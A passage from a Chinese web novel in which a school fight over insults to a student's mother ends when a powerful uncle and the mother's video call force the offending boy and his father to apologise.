方镜麒缓缓碾动着鞋底,听着脚下传来的惨叫声,勾起一个残忍又嗜血的笑容。 他冷冷地笑着,一字一句寒声道:“就凭你,也敢侮辱她?” 方镜麒居高临下,抬脚就踩在了男生的脸上,这是一个极度蔑视与侮辱人的姿势,像个生杀予夺的暴君。 他脚下的男生倍感屈辱地红了眼眶,嘶吼着挣扎起来。 然而,方镜麒轻轻勾着唇角,看上去傲慢又张狂,轻松得仿佛根本没怎么用力,可那只脚却稳稳地踩在他的脸上,让他怎么都挣脱不开。 这一幕,就连2班的同学们看了都忍不住心惊胆战。 一群人再没了先前的兴奋与幸灾乐祸,反而紧张地咽了咽口水,悄悄地后退,试图离那位煞星更远一点。 姜渔嘴角微抽,神情复杂地看着眼前的场景。 明明她刚才还恨不得打死那个嘴贱的男生,但现在……她莫名想给这人点一根蜡烛。 方镜麒眼神冷酷,脚下不断用力,如愿听到了更加悦耳的嚎叫声。 但他似乎觉得这样还不够。 方镜麒随手扯开领口,还活动了下手腕,打量男生的眼神里带着股看猎物的兴奋,一副打算大展拳脚的模样。 可惜的是,他没来得及给男生一个更加深刻的教训,就被匆匆赶来的老师制止了。 年轻的女班主任的脸色比锅底还黑,绷着脸训斥道:“你们在闹什么?学校不是打架的地方!” 闻言,方镜麒轻嗤一声,仍旧一脸的桀骜不驯,但他还是漫不经心地挪开了脚,算是给老师一个面子。 班主任赶紧上前扶起男生,仔细查看了一下他的伤势,看着男生被鲜血染红的衣襟和青肿的脸庞,她的脸色顿时更加难看了。 她推了推眼镜,目光扫过在场的每一个人,厉声呵斥道:“你们,全都跟我去办公室!” 事情算是闹大了,在场的人有一个算一个,全都被抓到了办公室。 很快,校领导也被惊动了。 面对老师和张校长的严肃问询,姜渔这个当事人很沉默,倒是她的同学们七嘴八舌地帮她解释道: “是这货先来挑衅的!” “就是!是他先骂姜阿姨的,骂得可难听了!活该被打!” “我们这叫替天行道,老师,您可要明察啊!” “我们都打他了,责任一起担!” 学生们深谙法不责众的道理,试图把水搅浑,纷纷承认他们都打人了,要罚一起罚。 然而,那名男生也不傻,他只死死咬住姜渔和方镜麒两个人不放。 男生顶着一张被打成猪头的脸,愤怒地冲老师叫嚣道:“老师,就是他们俩,姜渔和方镜麒打我最狠,必须给我一个说法!” 男生鼻青脸肿的,鼻子里还塞了两坨纸,总算把鼻血堵住了。此时此刻,有了老师撑腰,他明显底气足了,愤恨地瞪着姜渔和方镜麒。 姜渔沉默地站在人群中间,任凭她的同学们替她打抱不平,自己只冷眼旁观这一切,一语不发。 她像以往那般,不争辩,不回应,如同一个沉默的囚徒,选择默默忍受一切惩罚。 方镜麒瞥了姜渔一眼,看到她这副沉默寡言的倒霉样,很是嫌弃地翻了个白眼。但他还是一步跨上前,挡在了姜渔面前。 他单手插兜,居高临下地睨着那男生,凉凉地说道:“想要说法?” 方镜麒冷哼一声,猝不及防地出手,一把攥住男生的领口,几乎将他整个人都提了起来。 他唇角的弧度带着几分戏谑,眼神却格外冰冷,“我这儿只有拳头,要不要?” 男生被方镜麒拽着衣领提了起来,一时间呼吸不畅,脸都憋红了。 他再怎么说都是个血气方刚的年轻人,哪怕再忌惮方镜麒的家世和力气,也经不住他百般侮辱。 或许是因为身后站着校领导和老师,他突然就生出股反抗的冲动。 他双眸猩红地瞪着方镜麒,大喝一声,突然爆发出全身力气推了方镜麒一把。 方镜麒一直漫不经心地戏弄着他,一时间倒真没注意,被他推得踉跄几步,裹着石膏的手撞在了桌角上,发出砰的一声巨响。 老师和校领导都快吓傻了——这位祖宗可绝对不能再在学校受伤啊,否则没法跟方总交代! 方镜麒只皱了皱眉头,完全不在乎自己的右臂。 他眸光瞬间沉冷,死死盯着那个男生,唇角勾起一抹狞笑,“找死!” 说着,他便猛地冲上前想揍人,老师们赶紧手忙脚乱地去拦他。 为了控制这混乱的场面,也为了确认方镜麒的健康,几名老师好说歹说想劝他去医务室看看,却都被方镜麒断然拒绝了。 后来,经过几番劝说,再加上张校长半带威胁的劝告,方镜麒才勉强答应去隔壁房间,让校医检查下他的手臂,确认没问题了再回来。 临走前,方镜麒转头看向姜渔,他脸色很臭,望着姜渔的目光难掩嫌弃,说出口的话却很让人震惊。 “喂,有人欺负你的话,就去隔壁喊我。” 说完,方镜麒也不等她的反应,更懒得去看周围人古怪的神色,转身大跨步离开了。 办公室外围了许多外班的学生,亲眼目睹这一幕后,他们面面相觑,无声地挤眉弄眼。 卧槽,校霸好像真的对特优生很不一般哎……难道传言是真的?! 姜渔她妈跟方少的小叔将成好事,所以方少才如此厚待姜渔这个妹妹?! ……这也太让人震惊了! 办公室里,那名男生望着方镜麒离开的背影,突然感到有些害怕。他刚才那一推,要是真把方镜麒推出什么严重的问题……他们家可得罪不起方家啊! 正心怀忐忑地琢磨着,他心心念念的依靠终于来了。 办公室的门被敲开,一个中年男人走了进来。 “爸!”男生一把鼻涕一把泪地冲上前,抱着他爸一通大哭,尽情宣泄着心里的委屈。 他爸爸是个膀大腰圆的中年男人,一看见自家儿子这凄惨的模样,瞬间就气得涨红了脸,“谁把我儿子打成这样的?我跟他没完!” 看着儿子这鼻青脸肿的惨样,他心里像是有把火在烧,一肚子气都发不出来。 在了解完所有情况后,这位被称作李总的男人面色阴沉,迟迟没有说话。 他儿子之所以被打得这么惨,竟然主要是方镜麒的“功劳”。 方镜麒啊…… 想起他背后的方家,和那位深不可测的方隐年,刚才还发誓要替儿子出头的男人,不由得沉默了。 他可得罪不起方家啊! 李总咬了咬牙,只觉得心里格外憋屈。 但他刚刚才放了狠话,如果就这样轻松放过……他的面子往哪儿搁啊?! 李总一时间竟感觉骑虎难下。 然后,他阴沉沉的目光落到了在场唯一没有强大背景的姜渔身上,面色瞬间变得冷厉起来。 教训不了方镜麒,他难道还教训不了这个普通女生吗? 李总深吸一口气,皱着眉望向姜渔,语气严厉地说道:“所有的事端都是因她而起,这个罪魁祸首必须严肃处理!” 闻言,在场不少人都脸色一变。 班主任咬了咬牙,深呼吸几次,尽量平静地说道:“李先生,是您的儿子无故到我们班级,言语侮辱我们班的同学及其母亲,所以,准确来说——您的儿子才是罪魁祸首。” 此话一出,2班的同学们立刻鼓掌叫好,欢呼声几乎掀破屋顶。 李家父子的脸色一时间有些难堪,觉得面子上很是挂不住。 李总扬了扬下巴,很是倨傲地说道:“我儿子只是开个玩笑而已,谁知道那个女生那么暴躁,竟然敢直接动手……” “不管怎么样,她先动的手,就是她不对!”李总斩钉截铁道,分毫不退让。 他直言要求学校开除姜渔,以作惩戒,另外还要赔偿他儿子的医药费等等,提出了一系列要求。 班主任当然是站在姜渔那边的。她叹了口气,试图打圆场,说道:“李先生,要不这样,我让姜渔写个检讨。” “不过……”班主任拧眉瞥了眼鼻青脸肿的男生,眸底划过一丝厌恶,“您的儿子口出不逊,他也该给姜渔同学道歉。” 张校长赞同地笑了笑:“不错。两个人都写份检讨,然后我让方镜麒赔您医药费,这事儿就这么过去了,您看如何?” 李总冷笑一声,断然拒绝道:“不行!” 班主任叹了口气,试图跟他讲道理:“李先生,这事儿毕竟是您儿子先挑起来的,他先言语冒犯别人……” 李总不屑地嗤笑道:“我儿子不就说两句话吗?能有什么错?这女生她妈是什么金贵人吗?连一句话都说不得?我看我儿子说的没错,这女人一大把年纪了,还能让这么些人给她说话,一看就不是什么好东西。 ” “这种女人我见得多了……”他肆无忌惮地点评着姜以柔。 同时,他儿子也用有些模糊的话音附和道:“我有什么错?我才不写检讨呢!” 姜渔听得咬紧了牙关,攥着拳头恨不得冲上去一人给一拳。 周围的同学们也都义愤填膺,摩拳擦掌,特别想一窝蜂冲上前群殴他们。 不管老师和张校长如何劝说,李总就是坚持要学校开除姜渔,场面一时间有些僵持。 就在这时,办公室的门被轻轻敲响了。 班主任松了口气,语气不由得轻快起来,还隐含着一丝期待,说道:“估计是姜渔同学的家长到了。” 此话一出,无数道目光直勾勾地射向门口,2班的学生们互相对视一眼,脸上都漫上了兴奋的潮红。 沉默了许久的姜渔也终于有了反应,瞬间抬眸望向门口处。她交叠在身前的两只手不由得攥紧了,苍白的唇抿得很紧,眼神竟有些飘忽。 ——完全是一副犯错误被叫家长的心虚模样。 李总和那名男生挑了挑眉,冷笑着看向门口。 那个姜渔的妈妈来了是吧?关于她的传言简直越来越离谱,他倒是要看看,这女人究竟有多大的能耐,能搅动这么大的风浪。 刚才还一脸烦躁的张校长精神一震,随手捋了捋头发,竟然亲自快步上前,微笑着拉开了房门。 然而,大门打开后,出现的却是一个让人意想不到的人。 “方总?!”张校长一脸惊愕地看着来人。 来人西装革履,挺拔矜贵如修竹,英俊的脸上没什么表情,一双狭长的凤眸如同冬夜的深潭,平静无波,也幽深难测。 这个仅仅是站在那里就让人心生敬畏的男人,正是方隐年。 * 隔壁房间,校医正小心翼翼地握着方镜麒的右臂,谨慎地检查他的伤势情况。 方镜麒皱着眉头一脸烦躁,勉强压着性子配合。 有几个相熟的男生跟在他身边,一直挤眉弄眼地互相使眼色。 终于,其中一个人忍不住问道:“麒哥,那些传言是真的吗?” “什么传言?”方镜麒不耐烦地问道。 “就是……你对特优生那么好,是因为你们要成为一家人了吗?”他话语委婉地试探道。 如果姜渔她妈跟方少的小叔真的有情况,那他们可不就是一家人吗?! 方镜麒闻言愣了一瞬,不由得挑眉一笑,轻哼道:“算是吧。” 方镜麒想的是,等他跟姜以柔在一起了,那姜渔也算他名义上的闺女了。 虽说有点怪……但是这么个道理。 他们会成为一家人。 这么想着,方镜麒唇角翘起一个愉悦的弧度。 他的几个狐朋狗友对视一眼,都从彼此眼中看到了兴奋与震惊。 “哇靠,恭喜你啊,麒哥!” “这可是大好事啊!” “恭喜恭喜……” 方镜麒施施然翘起二郎腿,很是矜持地“嗯”了一声。 两波人各说各的,倒是莫名其妙聊到一起去了。 彼此心里还都挺满意的。 “不过,你们怎么知道这事儿的?”方镜麒疑惑地问道。 “学校里都传遍了啊!” 方镜麒不由得哑然,他表现得有那么明显吗?竟然全校都知道了…… 等到校医宣布他的手臂没什么问题,方镜麒便立刻起身,直奔隔壁办公室而去。 姜渔就跟个闷葫芦似的,被人欺负了怎么办?他得赶紧过去给她撑腰。 不得不说,方镜麒还挺有当“后爹”的自觉。 然而,刚一出门,他就看到了一道熟悉又令人讨厌的身影。 他正巧撞上了刚刚赶来的方隐年。 方镜麒眉头一皱,下意识地后退一步回了屋内,没让方隐年发现自己。 他眯着眼睛盯向陪同他的一位老师,压低声音语气不善道:“你们通知我小叔了?” 方隐年不喜欢他跟姜以柔交往,若是被他知道姜以柔的女儿惹了麻烦,指不定就要落井下石呢! 老师一脸懵地摇了摇头,喃喃道:“没、没有啊……我们只通知了姜渔的家长。” 方镜麒太经常惹事了,学校这边早已习惯,甚至都不会拿这种小事去打扰日理万机的方总。 至于方隐年为什么突然到来……他们也很懵。 很快,他们就知道为什么了。 那边,张校长也一脸狐疑地望着方隐年,却还是本能地露出一个客气的笑容,殷勤地招呼道:“方总,快请进,您怎么突然来了?” 难道是特意来处理他侄子打人这件事的? 但方镜麒从来没少打人,以前也没见这位亲自来管过,更何况他们根本没通知方总这件事啊…… 正当张校长头脑风暴的时候,方隐年顶着一张平静无波的脸,开口说的话却堪称石破天惊。 他淡声道:“我是姜渔同学的家长,来处理一下她的事。” 此话一出,所有人都石化了,全跟傻了一般瞪向方隐年。 方隐年……是姜渔的家长?! 卧槽! 不远处,方镜麒将这句话听得清清楚楚。 那双凌厉张扬的凤眸罕见地怔住了,良久,才慢慢涌上股不敢置信。 恰在此时,他的朋友在旁边低声感慨道:“嘿嘿,果然啊,你小叔跟姜渔她妈真的在一块了,怪不得全校都在传呢……” 方镜麒突然开口,嗓音幽幽地问道:“你说学校里在传什么?” 他朋友疑惑地挠了挠头,下意识地答道:“就是你小叔跟姜渔她妈在一起的事儿啊,全校都知道了,我刚才不是还问你呢,说你们是不是要成一家人,你还点头了呢……” 方镜麒浑身一僵,似乎被这个真相刺痛了。 他的面色骤然阴沉下来。 方镜麒静静地立在拐角阴影处,一双黑沉沉的眸子死死盯着背对着他的方隐年。 他垂在身侧的手捏得咔咔作响,浓黑的凤眸中逐渐积聚起令人胆寒的风暴。 跟在他旁边的老师都吓了一跳,他迟疑地望着方镜麒,正想着要不要开口关心一下他。 刚要张开嘴,方镜麒阴冷的目光就默默投了过来。 他竖起一根修长的食指抵在唇边,做了个噤声的动作。 这个轻慢的动作配上他居高临下的阴郁眼神,莫名给人一种被蛇盯上的战栗感。 那名老师果断闭紧嘴巴,明智地选择了沉默。 而方镜麒的那群狐朋狗友也敏锐地察觉到了什么,紧紧缩着,不敢再吱声。 说来起来,以方镜麒那暴烈如火的性格,按理说早该冲上去揪着方隐年的衣领大声质问,甚至大逆不道地殴打亲叔叔也有可能。 但他偏偏意外地冷静,就这样静静地站在原处,不声不响地注视着那一切。 他面上没什么表情,所有情绪却如岩浆一般,在他平静的外壳下缓缓流淌——随时都有可能爆发。 几乎所有人都在关注方隐年那边,完全没注意到方镜麒的异样状态。 另一间办公室里,张校长扶了扶眼镜,难得有些磕绊地问道:“方总,您……您今天是作为姜渔同学的家长来的?” 方隐年轻轻颔首,“嗯。” 张校长深呼吸几次,没话找话般感慨道:“啊……姜女士是有事要忙,才拜托您来的吧?” 这话一出,方隐年的眸光却沉了沉。 他不期然想起跟姜以柔通话时,不经意间听到的那一场荒唐…… 他呼吸一滞,闭着眼睛深吸一口气,良久才平复了心情。 方隐年忍不住扯起一个不易察觉的冷笑。 姜以柔有事在忙? 呵,反正忙得不是正事。 方隐年面色平静,端的是云淡风轻。但只有他自己才知道,他的一颗心已经被无数激烈的情绪啃噬得面目全非。 至于那些情绪是什么? 愤怒,烦躁,不甘,还是……嫉妒? 他闭了闭眼睛,强行将所有杂念抛弃,只专注于此时。 不光张校长对方隐年的到来大跌眼镜,凑上来围观的外班学生们,也全都傻了眼。 过了好一会儿,才爆发出一阵窸窸窣窣的讨论声。 “卧槽!那竟然是方总?!我还是第一次见他呢……连我爸想见他都不容易呢!” “方叔叔今年多大啊?怎么长得这么帅,而且跟方少好像哦!” “不是,你们的关注点错了吧?你们没听见吗?方叔叔说他是姜渔的家长啊!卧槽这是啥意思?!” “家长……难道真是姜渔的后爸吗?我靠,论坛里那个帖子是真的吗?” “姜渔她妈真跟方少的小叔有一腿?!” “妈呀,姜渔她妈到底是何方神圣?我现在真有点信她长得很漂亮了……” 外班的学生们一脸惊异,相比之下,2班的老师和同学们就淡定多了。 毕竟他们可是在之前的家长会上,亲眼看到姜渔她妈挽着方隐年的手臂,而方隐年对她也多有维护。 两人一看就关系不一般。 只是他们也没想到,方隐年这次竟然直接以家长的身份来给姜渔撑腰了。 这是要结婚的节奏啊! 乐柠从刚才起就一直陪在姜渔的身边,此时她忍不住晃了晃姜渔的手臂,小声问道:“小渔,姜阿姨和方叔叔该不会好事将近了吧?” 姜渔在看到方隐年的那一刻起就愣住了,此时听到乐柠的话,身体骤然一僵。 她紧抿着唇瓣,面色不善地盯着方隐年。 姜以柔可能会被抢走的恐慌,瞬间包裹住了姜渔的心。 哪怕知道方隐年是来帮自己的,她还是控制不住地产生了敌意。 方隐年对小女生的心思一无所知,他只认真地同校长和老师了解事情的经过。 得知所有情况后,方隐年看向那名口出不逊的男生。他面上并没有什么怒意,但只一个居高临下的眼神,就让男生害怕地缩了缩脖子。 男生的父亲,那位李总神情有些难看,他上前一步,将儿子护在身后,僵硬地对方隐年扯出一个笑容。 “方总,既然……您是这位姜同学的家长,那我们就不追究什么了,呵呵……” 李总顾不得自己的脸面,果断选择了滑跪。 明明刚才他还大言不惭地硬要让姜渔退学,现在只是见到方隐年,人家还没来得及多说什么,他就主动说不追究了。 这前倨后恭的姿态,惹得不少学生窃笑不已。 李家父子臊得脸都红了,但是也没办法,毕竟他们不敢跟方隐年叫板。 他们主动服软了,方隐年却没有顺着台阶下去。 他轻飘飘地睨了眼两人,淡声道:“事情不能就这么算了。” 李总微微一愣,然后不由眼睛一亮。 难道方隐年良心发现,决定给他可怜的儿子补偿点医药费?说不定他还能借此跟方家搭上关系…… 李总越脑补越激动,不由得搓了搓手,嘿嘿笑道:“方总,您太客气了……” 然而,他话音未落,方隐年接下来的话便让他骤然僵住。 方隐年对他连个眼神都欠奉,淡声开口道:“给她道歉。” 李总和他儿子愣愣地望着他,半晌,忍不住“啊?”了一声。 方隐年转过头,眸光顺势落在姜渔的身上。 他静静地打量着这个女孩,眸光微动。 ……跟她并不像,很难相信这是她的女儿。 方隐年凤眸幽深,很快便收回了视线。 见对面那两父子久久没有动作,他再次重复了一遍,“道歉。” 他面无表情地盯着两人,那双冷淡而幽深的凤眸极有压迫感。 那名男生捂住自己肿成猪头的脸颊,忍不住委屈地大叫道:“我都伤成这样了,她都没跟我道歉呢,凭什么……” 他的抱怨还没说完,便被父亲狠狠拽了一把。 李总死死咬着牙,额角迸出隐忍的青筋,他用力拽着儿子的手臂,用眼神示意他冷静。 然后,他深吸一口气,强行冲方隐年扯出一个僵硬的微笑,呵呵道:“好的,方总,我这就让这小子道歉。” 说着,他用力捏了儿子一把,不停地朝他使眼色,暗示他赶紧低头。 男生还年轻,一派少年心性,那是相当的不服气,他憋得眼睛都红了,但最后,在父亲的逼视下,他只能不情不愿地低下头,冲姜渔小声说道: “对不起。” 姜渔眼神微动,冷冷地望向他,非但没有顺着台阶下,还得寸进尺道:“你还应该给我妈妈道歉。” 姜渔身形瘦弱,此时却微仰着下巴直视他,眼里是分毫不让的强势。 相比起她自己,她更在意姜以柔。她决不允许任何人伤害姜以柔,哪怕是言语上的,也不行。 说完这句话后,方隐年眉梢微动,第一次认真打量起这个女孩。 良久,他唇角微勾,凤眸中掠起些许赞赏的笑意。 第70章 姜渔挺胸抬头, 十分硬气地要求男生给她妈妈道歉。 她微扬着下巴,目光灼灼地盯着男生,分毫不让, 尽显强势,像只初次展露獠牙的幼狮。 在姜渔的逼视下,那男生竟莫名其妙觉得自己矮了她一头, 有些不敢直视她的眼神。 当他意识到, 自己竟然有一瞬间对姜渔感到恐惧时,他不由得倍感羞辱地咬了咬牙。 他堂堂男子汉, 怎么能怕一个女生,而且还是个他向来看不起的特优生…… 男生气得胸膛剧烈起伏,猛地抬头瞪向姜渔, 差点忍不住想回怼他。 但他一抬眼, 先看到的是方隐年那张平静但威严的脸。 不知为何,明明方隐年并没有疾言厉色,但当那双幽黑的凤眸淡淡地睨过来时,莫名会有种被将要被审判的、毛骨悚然的感觉。 那男生只瞄了方隐年一眼, 便诚惶诚恐地低下头, 紧张得直咽口水。 紧跟着他又想起,方隐年刚才可是自称姜渔的家长,那么很可能真跟姜渔她妈有点什么…… 卧槽, 那姜渔这靠山也太硬实了! 思及至此,男生彻底放弃了挣扎, 他蔫嗒嗒地垂下头, 闷闷地说道:“我也对不起你妈妈,我在这里郑重地向你妈妈道歉。” 姜渔紧紧地盯着他,看着他脸上灰败颓丧的神色, 只觉得一直以来堵在胸口的恶气总算消散了些许。 她深吸一口气,再一次冷声警告道:“以后,不要让我再听到你乱说话。” 男生缓慢地点了点头,垂着脑袋一语不发。 李总亲眼看着儿子被迫低头,心里也很不好受,脸上的假笑都十分难看。 但他紧绷的神经总算和缓了一些——儿子都道歉了,方隐年这下总该满意了吧?! 他讪笑着望向方隐年,呵呵笑道:“方总,这歉也道过了,那我们就先告辞了?” 李总面上笑呵呵的,心里却在暗骂。 他妈的,本来是想给儿子讨公道的,结果却当着这么多人的面丢了脸……现在他只想赶紧离开这里! 然而,方隐年竟依旧不打算放过他。 他居高临下地睨了李总一眼,平静地说道:“你也道歉。” 毕竟,口出不逊的又不是只有他儿子。 李总浑身一僵,脸色控制不住地铁青下来。他肥厚的胸膛剧烈起伏着,看着像是要背过气去,明显是真的动怒了。 然而,当方隐年一个淡淡的眼神扫过来时,就像一盆冰水浇在他身上,将他所有旺盛的怒火都浇灭了。 李总皮笑肉不笑地扯了扯唇角,最终还是哭丧着一张脸,对自己一直看不上的穷学生低下了高贵的头颅: “这个……姜同学,不好意思啊,叔叔刚才一时激动,说错了话,你别介意……” 看着这个大腹便便的男人在自己面前低声下气的模样,姜渔一时间有些恍惚。 她知道,这个人很看不起她,可现在他却不得不乞求她的谅解。 姜渔的面色一时间非常复杂—— 这就是特权的感觉吗? 一直以来,她也曾自怨自艾过自己的贫苦出身,但这一刻,在她短暂地成为了所谓的“人上人”,接受他人的阿谀和奉承时…… 好像也没那么令人开心。 姜以柔怔怔地盯着地面出神,一时间没有说话,倒是把那位李总急得不轻。 这女学生怎么还不顺着台阶下啊,可千万别再折磨他了! 李总的儿子眼眶一红,他自己可以受委屈,但有点见不得父亲这副低声下气的模样。 他扯了扯父亲的衣袖,咬着牙恨声道:“爸,你别管她了,我们直接走吧……” 该死的方隐年,难不成他们不道歉,他还能打死他们不成?! 就在这时,办公室里突然响起一阵突兀的铃声。 方隐年拿起手机一看,不由得怔了一瞬,因为——这打来的是视频通话。 他眉心微皱,面色有些迟疑,过了一会儿,才按下了接通键。 手机里传来一道娇柔甜美的女声:“方总,你那边怎么样啦?小渔没事吧?” 姜以柔好不容易才短暂地摆脱谢凛,便急忙打来电话问情况。 这道声音一出,在场所有人都精神一震。 李总也愣了愣,所以……这就是那个姜渔她妈?那个能迷倒方隐年的女人? 方隐年沉声道:“解决了,她没事。” 手机里随即传来姜以柔含笑的声音:“那就好。对了,你把手机给对方家长吧,我跟他说两句。” 方隐年拧眉沉思片刻,缓缓点头道:“好。” 他将手机递给李总,随口道:“正好,当面给她道歉吧。” 李总刚才还对姜以柔这个人挺好奇的,一听到方隐年这话,顿觉晦气。 他不情不愿地接过手机,心里却忍不住骂骂咧咧起来…… 旁边他的儿子更是气愤,“爸,你别管他们了……” 李总接过手机,刚要习惯性地扯出一个假笑,在看清手机屏幕里的那个人时,表情顿时僵在了脸上,眼神也发直了,显得有些滑稽。 他愣愣地看着姜以柔,表情恍惚得仿佛窥见了神迹。 旁边,他的儿子见父亲沉默,不由得更加用力地拽了拽他,不爽道:“爸,你听没听见我说话啊?别理这个老女人……” 他话音未落,他的父亲猛地回身,狠狠一巴掌抽在了他的脸上。 李总怒瞪着自家儿子,大义凛然地骂道:“你这个混蛋,怎么能随意侮辱别人?立刻给姜女士道歉!” 儿子:“?” 儿子捂着脸,一脸不敢置信地看着他爸。 不是,爸,你是我亲爸吗?!!! 李总跟抽风了似的,突然暴起抽了儿子一巴掌,直把他打得踉跄几步,险些摔倒。 儿子懵懵地捂着脸,本就肿成猪头的脸更是雪上加霜。 “爸?!你干嘛?!!!” 儿子眼泛泪花,委委屈屈地大声吼道。他说话有些含糊,但任谁都听得出他语气中的愤懑。 李总抽完那一巴掌,却根本不去看他了,只眸光火热地盯着手机屏幕,一张富态的圆脸笑得跟朵菊花似的。 他笑容灿烂,语气也格外谄媚,殷勤得不行,说道:“姜女士,犬子无状,您千万别放在心上。如果您不解气的话,我现在就再揍他一顿……” 儿子:“……???” 这时,手机里传来一声忍俊不禁的轻笑,“没事,我不介意。” 这嗓音如春日的莺啼,婉转柔媚,流淌着令人心醉的温柔,哪怕经过手机传出后有些失真,也让人不由得心中一荡。 那位李总更是痴痴地看着手机屏幕,仿佛恨不得钻进去一般。 手机里接着传来那道温柔的嗓音:“这位先生,我的女儿似乎打伤了您的儿子?” 李总精神一震,猛地从这稀世美貌中回过神来,他挺了挺胸膛,分外潇洒地摇头笑道:“小孩子之间打打闹闹,没什么大不了的!” “更何况,本来就是我这儿子主动犯贱,挨顿打也是他活该,哪儿能怪您的女儿呢?”李总嘿嘿直笑,态度格外亲和。 旁边,他儿子火气直冒,张了张嘴想抗议,但终究怕了亲爹的巴掌,只敢小声嘀咕道:“我还是你亲儿子吗……” 李总完全对这个儿子视若无物,只紧紧盯着手机。 半晌,他突然严肃了神色,郑重其事地说道:“姜女士,我在此郑重地向您道歉。” “为我儿子的失礼,也为我的莽撞,请您务必原谅我!”李总说着说着就满脸羞愧,一副真心忏悔的模样。 手机里传来姜以柔愉悦的嗓音,“哎呀,李总,您太客气了。” 她分外坦然地收下了这份道歉,还用善解人意的温柔语气说道:“放心吧,我还是很大度的,当然会原谅你们。” “不过,以后还是不要再发生这种事了。唉,听到消息的时候,可把我吓坏了……” 柔媚的嗓音中含着一丝抱怨,那一点嗔怒让人心中一荡。 那李总直勾勾地盯着手机屏幕,看得眼神都直了,差点流口水。 下一秒,他面色一沉,抬腿就朝自己儿子狠狠踹了一脚,怒骂道:“都是你这个小兔崽子,怎么能欺负同学呢?一点儿都不让人省心,完全没遗传到我……” 他儿子被踹得后退两步,睁大眼睛瞪着亲爹,气恼得几乎想跳楼,却不敢说什么,只能硬生生憋着。 姜以柔又笑着宽慰道:“好啦,都是孩子,不用过于苛责。” 李总连连点头,殷勤地笑道:“姜女士,有机会的话,我一定当面跟您道歉,以表示我的诚意……” “要不,就今天?”李总咽了咽口水,眼神有些火热。 姜以柔却笑着拒绝了,“李总,不用了,有事您跟方隐年说就行,他会转告我的。” 闻言,李总微微一怔,火热的心头犹如被泼了一盆冷水,瞬间就凉彻了心扉。 他这才想起……方隐年还在旁边呢! 李总有些僵硬地转动脖颈,朝方隐年望去。 方隐年已经沉默许久了,他居高临下地睨着李总,将他一切谄媚的丑态尽收眼底,一双凤眸溢着寒潭般彻骨的寒意。 李总不由得身体微微颤了下,后背瞬间被冷汗浸透了。 他欲哭无泪地看着方隐年,恨不得再抽自己一巴掌。 他怎么就一时热血上头,忘了这朵娇艳的花儿已经有主了呢?! 而且这主还是他绝对惹不起的方隐年! 李总的一颗心瞬间凉了大半,仅剩的理智终于占据高地,压过了心里最原始的冲动。 他赶紧收敛了神色,再望向姜以柔时,少了几分热切,多了几分恭敬,讪讪地道:“好的,好的,不敢打扰姜女士……” “既然事情解决了,那就再见了。”姜以柔没再跟他浪费时间,简单打了声招呼,便干脆利落地挂了电话。 随着电话被挂断,屏幕上那张美得惊心动魄的脸庞消失不见。 李总怔怔地看着快要暗掉的手机屏幕,心里满是怅然。 唉,可惜啊…… 很快,李总便正了正神色,恭敬地将手机还给了方隐年。 方隐年收回手机,先定定地看了眼属于姜以柔的对话框,过了一会儿,才缓缓收起手机。 接下来,李总认认真真地向姜渔和方隐年道了歉,同时也强压着儿子道了歉。 比起先前道歉时那明显的不情愿和难以掩饰的愤懑,这次李总的态度格外诚恳,完全是打心底里认识到了自己的错误。 姜以柔看着李总父子俩,一时间有些出神,然后她的脸色慢慢变得复杂起来。 刚才,在方隐年权势的强压下,这位李总虽然道歉了,但明显是被迫低头,心里满是愤怒。 但现在,仅仅是通过手机跟她妈妈通了个话,李总的态度就发生了一百八十度大转变,再不见丝毫不甘愿。 显然,这又是一个被她妈妈的美貌俘获的男人。 姜渔不由得陷入了沉思,然后她聪明的大脑里迅速浮现出一个念头—— 原来,她妈妈的美貌,是比方隐年的权势,还要厉害的存在。 这么说来……有姜以柔做妈妈的她,应该是圣维尔学院最厉害的人物啊! 任凭其他同学家里多有钱多有权势,都比不上她妈! 这一刻,从小到大在姜渔心里根深蒂固的自卑感,竟然诡异地消散了不少。 她肩膀微松,心里突然有种释怀的感觉,轻飘飘地仿佛身在云端。 另一边,系统666惊喜地大叫道:“哇啊啊啊!女配姜渔的黑化值降到25%了!胜利在望!” 最终,这件事以李总和他儿子的道歉结束了。 姜渔虽然打了人,但奇迹般全身而退了。 说不好是方隐年的功劳,还是她那个只通过视频电话出现过的神秘妈妈的作用。 这个结果一出,2班的人都兴奋地围住姜渔,七嘴八舌地表达着恭喜。 乐柠更是抱着她的手臂,满心满眼都是为她松了口气的模样。 姜渔被众人的热情淹没,一时间沉默了,但终于没再疾言厉色地拒绝他们。 他们这边热热闹闹的,外面围观的学生们全都傻眼了。 他们简直不敢相信,事情的走向竟然会如此离奇。 “卧槽!我以为方叔叔给特优生出头已经够离谱了,但是那个李总跟姜渔她妈打完电话后,怎么跟被下了降头似的,谄媚得有点吓人了……” “李总那状态,跟我那色鬼老爹看见美女的时候一模一样,就差流口水了!” “所以……论坛里说的是真的?姜渔她妈真的长得绝美,所以2班的人才都捧着姜渔,就连校霸的叔叔也沦陷了?!” “草,这是什么中年玛丽苏偶像剧,我真受不了了……” “谁有姜渔她妈的照片?重金求!” “姜渔她妈已经成功引起了我的注意……如果不能看清她究竟长啥样,我这辈子都不能安心了!” “姜渔她妈刚才不是打来视频电话了吗?有人没有人看见她长啥样了?” “谁能看那么远啊!” …… 老师们走出办公室,把扎堆的学生全部轰走了,一场事故就以这样不可思议的结局落下帷幕。 方隐年拒绝了张校长共进晚餐的邀请,迈步离开了办公室。 但是,始一踏出门,他的脚步便骤然顿住了。 因为有人突然出现,挡住了他的去路。 方镜麒已经长得跟自己的叔叔一样高,他堵在方隐年面前,面无表情地直视他,无声的压迫感悄然蔓延。 “镜麒……”方隐年微微一怔,等反应过来后,脸色立刻变得极度难看。 他垂在身侧的手猛地握成拳,整个人异常紧绷,他清晰地听到自己越来越急促的心跳声。 镜麒怎么会在这里? 他……听到了多少? 方隐年凤眸微沉,紧紧盯着侄子,试图从他的脸上找到答案。 奇怪的是,向来性情暴烈、一点就炸的方镜麒,此时却异常平静。 他英俊的面上没什么表情,像一汪纹丝不动的湖水。 但偏偏就是这副冷静的姿态,却让方隐年心头狠狠一跳—— 平静只是表面,那双幽深的凤眸中压抑着疯狂的暗涌,随时可能爆发。 而一旦压抑过后再爆发……结果可能是无法想象的惨烈。 “镜麒……”方隐年深吸一口气,正想开口解释,却被方镜麒冷声打断了。 “跟我来。”方镜麒冷冷地扔下了一句话。 说完,方镜麒率先转身离开。 方隐年微微一怔,神情一时间有些阴晴不定。 此时,有不少学生还滞留在此地,纷纷向这对叔侄投来好奇的目光。 有些事,确实不适合大庭广众之下摊牌。 方隐年缓缓闭了闭眼,再睁开眼时,面上显出几分无奈地疲惫。 